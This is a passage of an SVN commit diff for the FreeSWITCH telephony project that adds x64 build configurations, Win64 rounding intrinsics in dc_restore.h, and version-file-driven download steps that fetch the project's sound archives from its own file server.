+		{B495B6D9-AF84-479D-B30A-313C16EF8BFD}.Debug|Win32.Build.0 = Debug|Win32
+		{B495B6D9-AF84-479D-B30A-313C16EF8BFD}.Release|Win32.ActiveCfg = Release|Win32
+		{B495B6D9-AF84-479D-B30A-313C16EF8BFD}.Release|Win32.Build.0 = Release|Win32
+		{79EF9F1D-E211-4ED1-91D2-FC935AB3A872}.Debug|Win32.ActiveCfg = Debug|Win32
+		{79EF9F1D-E211-4ED1-91D2-FC935AB3A872}.Debug|Win32.Build.0 = Debug|Win32
+		{79EF9F1D-E211-4ED1-91D2-FC935AB3A872}.Release|Win32.ActiveCfg = Release|Win32
+		{79EF9F1D-E211-4ED1-91D2-FC935AB3A872}.Release|Win32.Build.0 = Release|Win32
+		{429C907B-97D1-4B2D-9B0E-A14A5BFDAD15}.Debug|Win32.ActiveCfg = Debug|Win32
+		{429C907B-97D1-4B2D-9B0E-A14A5BFDAD15}.Debug|Win32.Build.0 = Debug|Win32
+		{429C907B-97D1-4B2D-9B0E-A14A5BFDAD15}.Release|Win32.ActiveCfg = Release|Win32
+		{429C907B-97D1-4B2D-9B0E-A14A5BFDAD15}.Release|Win32.Build.0 = Release|Win32
+		{DCF01B1C-5268-44F3-9130-D647FABFB663}.Debug|Win32.ActiveCfg = Debug|Win32
+		{DCF01B1C-5268-44F3-9130-D647FABFB663}.Debug|Win32.Build.0 = Debug|Win32
+		{DCF01B1C-5268-44F3-9130-D647FABFB663}.Release|Win32.ActiveCfg = Release|Win32
+		{DCF01B1C-5268-44F3-9130-D647FABFB663}.Release|Win32.Build.0 = Release|Win32
+		{3CA97077-6210-4362-998A-D15A35EEAA08}.Debug|Win32.ActiveCfg = Debug|Win32
+		{3CA97077-6210-4362-998A-D15A35EEAA08}.Debug|Win32.Build.0 = Debug|Win32
+		{3CA97077-6210-4362-998A-D15A35EEAA08}.Release|Win32.ActiveCfg = Release|Win32
+		{3CA97077-6210-4362-998A-D15A35EEAA08}.Release|Win32.Build.0 = Release|Win32
+		{729EF28E-38C9-40DE-A138-87785F021411}.Debug|Win32.ActiveCfg = Debug|Win32
+		{729EF28E-38C9-40DE-A138-87785F021411}.Release|Win32.ActiveCfg = Release|Win32
+		{504B3154-7A4F-459D-9877-B951021C3F1F}.Debug|Win32.ActiveCfg = Debug|Win32
+		{504B3154-7A4F-459D-9877-B951021C3F1F}.Debug|Win32.Build.0 = Debug|Win32
+		{504B3154-7A4F-459D-9877-B951021C3F1F}.Release|Win32.ActiveCfg = Release|Win32
+		{504B3154-7A4F-459D-9877-B951021C3F1F}.Release|Win32.Build.0 = Release|Win32
+		{17A33F3F-BAF5-403F-8EF4-FECDA7D9A335}.Debug|Win32.ActiveCfg = Debug|Win32
+		{17A33F3F-BAF5-403F-8EF4-FECDA7D9A335}.Debug|Win32.Build.0 = Debug|Win32
+		{17A33F3F-BAF5-403F-8EF4-FECDA7D9A335}.Release|Win32.ActiveCfg = Release|Win32
+		{17A33F3F-BAF5-403F-8EF4-FECDA7D9A335}.Release|Win32.Build.0 = Release|Win32
+		{DEB01ACB-D65F-4A62-AED9-58C1054499E9}.Debug|Win32.ActiveCfg = Debug|Win32
+		{DEB01ACB-D65F-4A62-AED9-58C1054499E9}.Debug|Win32.Build.0 = Debug|Win32
+		{DEB01ACB-D65F-4A62-AED9-58C1054499E9}.Release|Win32.ActiveCfg = Release|Win32
+		{DEB01ACB-D65F-4A62-AED9-58C1054499E9}.Release|Win32.Build.0 = Release|Win32
+		{01D63BF5-7798-4746-852A-4B45229BB735}.Debug|Win32.ActiveCfg = Debug|Win32
+		{01D63BF5-7798-4746-852A-4B45229BB735}.Release|Win32.ActiveCfg = Release|Win32
+		{4714EF49-BFD5-4B22-95F7-95A07F1EAC25}.Debug|Win32.ActiveCfg = Debug|Win32
+		{4714EF49-BFD5-4B22-95F7-95A07F1EAC25}.Release|Win32.ActiveCfg = Release|Win32
+		{3C614AE8-B611-4D43-A9AF-1CAA440A9F69}.Debug|Win32.ActiveCfg = Debug|Win32
+		{3C614AE8-B611-4D43-A9AF-1CAA440A9F69}.Release|Win32.ActiveCfg = Release|Win32
+		{56F6FB96-2BC7-4CAE-A8BF-6A0FAEC90556}.Debug|Win32.ActiveCfg = Debug|Win32
+		{56F6FB96-2BC7-4CAE-A8BF-6A0FAEC90556}.Release|Win32.ActiveCfg = Release|Win32
+		{71D62A04-8EF6-4C6B-AC12-0C15A875E53A}.Debug|Win32.ActiveCfg = Debug|Win32
+		{71D62A04-8EF6-4C6B-AC12-0C15A875E53A}.Release|Win32.ActiveCfg = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+	GlobalSection(NestedProjects) = preSolution
+		{13DEECA0-BDD4-4744-A1A2-8EB0A44DF3D2} = {5377DC3A-DB96-4819-8AAF-2A75F3A69119}
+		{B5A00BFA-6083-4FAE-A097-71642D6473B5} = {5377DC3A-DB96-4819-8AAF-2A75F3A69119}
+		{1C320193-46A6-4B34-9C56-8AB584FC1B56} = {5377DC3A-DB96-4819-8AAF-2A75F3A69119}
+		{12A49562-BAB9-43A3-A21D-15B60BBB4C31} = {5377DC3A-DB96-4819-8AAF-2A75F3A69119}
+		{18B1F35A-10F8-4287-9B37-2D10501B0B38} = {5377DC3A-DB96-4819-8AAF-2A75F3A69119}
+		{72782932-37CC-46AE-8C7F-9A7B1A6EE108} = {5377DC3A-DB96-4819-8AAF-2A75F3A69119}
+		{A9EDAC04-6A5F-4BA7-BC0D-CCE7B255B6EA} = {5377DC3A-DB96-4819-8AAF-2A75F3A69119}
+		{843425BE-9A9A-44F4-A4E3-4B57D6ABD53C} = {5377DC3A-DB96-4819-8AAF-2A75F3A69119}
+		{504B3154-7A4F-459D-9877-B951021C3F1F} = {5377DC3A-DB96-4819-8AAF-2A75F3A69119}
+		{746F3632-5BB2-4570-9453-31D6D58A7D8E} = {493A1DB9-6E7C-48C7-93B5-F75C3C25B9DF}
+		{DEB01ACB-D65F-4A62-AED9-58C1054499E9} = {493A1DB9-6E7C-48C7-93B5-F75C3C25B9DF}
+		{592CF22D-3F8F-4A77-A174-130D77B7623B} = {8E282AE2-038C-49FE-AC67-BC9615AFD800}
+		{C98AF157-352E-4737-BD30-A24E2647F5AE} = {8E282AE2-038C-49FE-AC67-BC9615AFD800}
+		{EE157390-1E85-416C-946E-620E32C9AD33} = {8E282AE2-038C-49FE-AC67-BC9615AFD800}
+		{57FAF32E-49FD-491F-895D-132D0D5EFE0A} = {8E282AE2-038C-49FE-AC67-BC9615AFD800}
+		{92BFA534-C419-4EB2-AAA3-510653F38F08} = {09BABD45-8F30-4F99-B8B8-8DD78F6804DB}
+		{B495B6D9-AF84-479D-B30A-313C16EF8BFD} = {09BABD45-8F30-4F99-B8B8-8DD78F6804DB}
+		{729EF28E-38C9-40DE-A138-87785F021411} = {09BABD45-8F30-4F99-B8B8-8DD78F6804DB}
+		{3C614AE8-B611-4D43-A9AF-1CAA440A9F69} = {09BABD45-8F30-4F99-B8B8-8DD78F6804DB}
+		{56F6FB96-2BC7-4CAE-A8BF-6A0FAEC90556} = {09BABD45-8F30-4F99-B8B8-8DD78F6804DB}
+		{79EF9F1D-E211-4ED1-91D2-FC935AB3A872} = {AC4356E8-48A1-4D2D-AFB1-11CF30B974CD}
+		{429C907B-97D1-4B2D-9B0E-A14A5BFDAD15} = {AC4356E8-48A1-4D2D-AFB1-11CF30B974CD}
+		{DCF01B1C-5268-44F3-9130-D647FABFB663} = {AC4356E8-48A1-4D2D-AFB1-11CF30B974CD}
+		{3CA97077-6210-4362-998A-D15A35EEAA08} = {AC4356E8-48A1-4D2D-AFB1-11CF30B974CD}
+		{17A33F3F-BAF5-403F-8EF4-FECDA7D9A335} = {AC4356E8-48A1-4D2D-AFB1-11CF30B974CD}
+		{01D63BF5-7798-4746-852A-4B45229BB735} = {62083CC3-13BF-49EA-BFE8-4C9337C0D82C}
+		{4714EF49-BFD5-4B22-95F7-95A07F1EAC25} = {62083CC3-13BF-49EA-BFE8-4C9337C0D82C}
+		{71D62A04-8EF6-4C6B-AC12-0C15A875E53A} = {62083CC3-13BF-49EA-BFE8-4C9337C0D82C}
+	EndGlobalSection
+EndGlobal

Property changes: freeswitch/branches/seven/libs/voipcodecs


Name: svn:ignore
   - configure
Makefile.in
config.log
voipcodecs.spec
Makefile
config.status
libtool
autom4te.cache
aclocal.m4
config-h.in
Debug
*.user
*.ncb
*.suo
Release
*.dat
debug
   + configure
Makefile.in
config.log
voipcodecs.spec
Makefile
config.status
libtool
autom4te.cache
aclocal.m4
config-h.in
Debug
*.user
*.ncb
*.suo
Release
*.dat
debug
x64
configure.lineno

Modified: freeswitch/branches/seven/libs/voipcodecs/libvoipcodecs.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/voipcodecs/libvoipcodecs.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/voipcodecs/libvoipcodecs.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -80,6 +83,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="src; src\voipcodecs; src\msvc"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBvoipcodecs_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_MATH_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				EnablePREfast="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
 			IntermediateDirectory="$(ConfigurationName)"
@@ -140,6 +207,68 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="src; src\voipcodecs; src\msvc"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBvoipcodecs_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_MATH_H"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				EnablePREfast="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>

Modified: freeswitch/branches/seven/libs/voipcodecs/src/voipcodecs/dc_restore.h (14471 => 14472)


--- freeswitch/branches/seven/libs/voipcodecs/src/voipcodecs/dc_restore.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/voipcodecs/src/voipcodecs/dc_restore.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -99,7 +99,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-#ifdef _MSC_VER
+#if defined(_MSC_VER) && !defined(_WIN64)
 __inline float rintf (float flt)
 {
 	_asm
@@ -126,7 +126,37 @@
 	}
 	return retval;
 }
+#elif defined(_WIN64)
+#include <intrin.h>
+
+    __inline__ long int rint(double x)
+    {
+#ifdef _M_X64
+		return (long int)_mm_cvtsd_si64x( _mm_loadu_pd ((const double*)&x) );
+#else
+#warning "Not Supported: Replacing with a simple C cast."
+	return (long int) (x);
 #endif
+    }
+	__inline__ int rintf(float x)
+	{
+#ifdef _M_X64
+		return _mm_cvt_ss2si( _mm_load_ss((const float*)&x) );
+#else
+#warning "Not Supported: Replacing with a simple C cast."
+	return (int) (x);
+#endif
+	}
+    __inline__ long int lrintf(float x)
+    {
+#ifdef _M_X64
+		return _mm_cvt_ss2si( _mm_load_ss((const float*)&x) );
+#else
+#warning "Not Supported: Replacing with a simple C cast."
+	return (long int) (x);
+#endif
+    }
+#endif
 
 static __inline__ int16_t fsaturatef(float famp)
 {

Modified: freeswitch/branches/seven/libs/win32/Dowload 32khz Sounds.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Dowload 32khz Sounds.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Dowload 32khz Sounds.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -75,7 +75,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading 32khzsound."
-					CommandLine="if not exist &quot;$(ProjectDir)..\sounds\en\us\callie\voicemail\32000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-en-us-callie-32000-1.0.7.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\music\32000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-music-32000-1.0.7.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;"
+					CommandLine="set /P SOUND_VERSION=&lt;$(ProjectDir)..\..\build\sounds_version.txt&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\en\us\callie\voicemail\32000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-en-us-callie-32000-%SOUND_VERSION%.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\sounds\en\us\callie\voicemail\32000"
 				/>
 			</FileConfiguration>
@@ -85,7 +85,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading 32khzsound."
-					CommandLine="if not exist &quot;$(ProjectDir)..\sounds\en\us\callie\voicemail\32000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-en-us-callie-32000-1.0.7.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\music\32000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-music-32000-1.0.7.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;"
+					CommandLine="set /P SOUND_VERSION=&lt;$(ProjectDir)..\..\build\sounds_version.txt&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\en\us\callie\voicemail\32000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-en-us-callie-32000-%SOUND_VERSION%.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\sounds\en\us\callie\voicemail\32000"
 				/>
 			</FileConfiguration>

Copied: freeswitch/branches/seven/libs/win32/Dowload 32khz music.2008.vcproj (from rev 14471, freeswitch/trunk/libs/win32/Dowload 32khz music.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/win32/Dowload 32khz music.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/win32/Dowload 32khz music.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,96 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="Download 32khz music"
+	ProjectGUID="{1F0A8A77-E661-418F-BB92-82172AE43803}"
+	RootNamespace="Download 32khz music"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+				CommandLine=""
+				Outputs=""
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\32khzsound\cleancount"
+			>
+			<FileConfiguration
+				Name="Debug|Win32"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Downloading 32khzsound."
+					CommandLine="set /P SOUND_VERSION=&lt;$(ProjectDir)..\..\build\moh_version.txt&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\music\32000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-music-32000-%SOUND_VERSION%.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;&#x0D;&#x0A;"
+					Outputs="$(ProjectDir)..\sounds\music\32000"
+				/>
+			</FileConfiguration>
+			<FileConfiguration
+				Name="Release|Win32"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Downloading 32khzsound."
+					CommandLine="set /P SOUND_VERSION=&lt;$(ProjectDir)..\..\build\moh_version.txt&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\music\32000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-music-32000-%SOUND_VERSION%.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;&#x0D;&#x0A;"
+					Outputs="$(ProjectDir)..\sounds\music\32000"
+				/>
+			</FileConfiguration>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/libs/win32/Download 16khz Sounds.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Download 16khz Sounds.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Download 16khz Sounds.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -75,7 +75,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading 16khzsound."
-					CommandLine="if not exist &quot;$(ProjectDir)..\sounds\en\us\callie\voicemail\16000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-en-us-callie-16000-1.0.7.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\music\16000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-music-16000-1.0.7.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;"
+					CommandLine="set /P SOUND_VERSION=&lt;$(ProjectDir)..\..\build\sounds_version.txt&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\en\us\callie\voicemail\16000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-en-us-callie-16000-%SOUND_VERSION%.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\sounds\en\us\callie\voicemail\16000"
 				/>
 			</FileConfiguration>
@@ -85,7 +85,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading 16khzsound."
-					CommandLine="if not exist &quot;$(ProjectDir)..\sounds\en\us\callie\voicemail\16000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-en-us-callie-16000-1.0.7.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\music\16000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-music-16000-1.0.7.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;"
+					CommandLine="set /P SOUND_VERSION=&lt;$(ProjectDir)..\..\build\sounds_version.txt&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\en\us\callie\voicemail\16000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-en-us-callie-16000-%SOUND_VERSION%.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\sounds\en\us\callie\voicemail\16000"
 				/>
 			</FileConfiguration>

Copied: freeswitch/branches/seven/libs/win32/Download 16khz music.2008.vcproj (from rev 14471, freeswitch/trunk/libs/win32/Download 16khz music.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/win32/Download 16khz music.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/win32/Download 16khz music.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,96 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="Download 16khz music"
+	ProjectGUID="{E10571C4-E7F4-4608-B5F2-B22E7EB95400}"
+	RootNamespace="Download 16khz music"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+				CommandLine=""
+				Outputs=""
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\16khzsound\cleancount"
+			>
+			<FileConfiguration
+				Name="Debug|Win32"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Downloading 16khzsound."
+					CommandLine="set /P SOUND_VERSION=&lt;$(ProjectDir)..\..\build\moh_version.txt&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\music\16000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-music-16000-%SOUND_VERSION%.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;&#x0D;&#x0A;"
+					Outputs="$(ProjectDir)..\sounds\music\16000"
+				/>
+			</FileConfiguration>
+			<FileConfiguration
+				Name="Release|Win32"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Downloading 16khzsound."
+					CommandLine="set /P SOUND_VERSION=&lt;$(ProjectDir)..\..\build\moh_version.txt&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\music\16000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-music-16000-%SOUND_VERSION%.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;&#x0D;&#x0A;"
+					Outputs="$(ProjectDir)..\sounds\music\16000"
+				/>
+			</FileConfiguration>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/libs/win32/Download 8khz Sounds.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Download 8khz Sounds.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Download 8khz Sounds.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -75,7 +75,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading 8khzsound."
-					CommandLine="if not exist &quot;$(ProjectDir)..\sounds\en\us\callie\voicemail\8000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-en-us-callie-8000-1.0.7.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\music\8000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-music-8000-1.0.7.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;"
+					CommandLine="set /P SOUND_VERSION=&lt;$(ProjectDir)..\..\build\sounds_version.txt&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\en\us\callie\voicemail\8000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-en-us-callie-8000-%SOUND_VERSION%.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\sounds\en\us\callie\voicemail\8000"
 				/>
 			</FileConfiguration>
@@ -85,7 +85,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading 8khzsound."
-					CommandLine="if not exist &quot;$(ProjectDir)..\sounds\en\us\callie\voicemail\8000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-en-us-callie-8000-1.0.7.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\music\8000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-music-8000-1.0.7.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;"
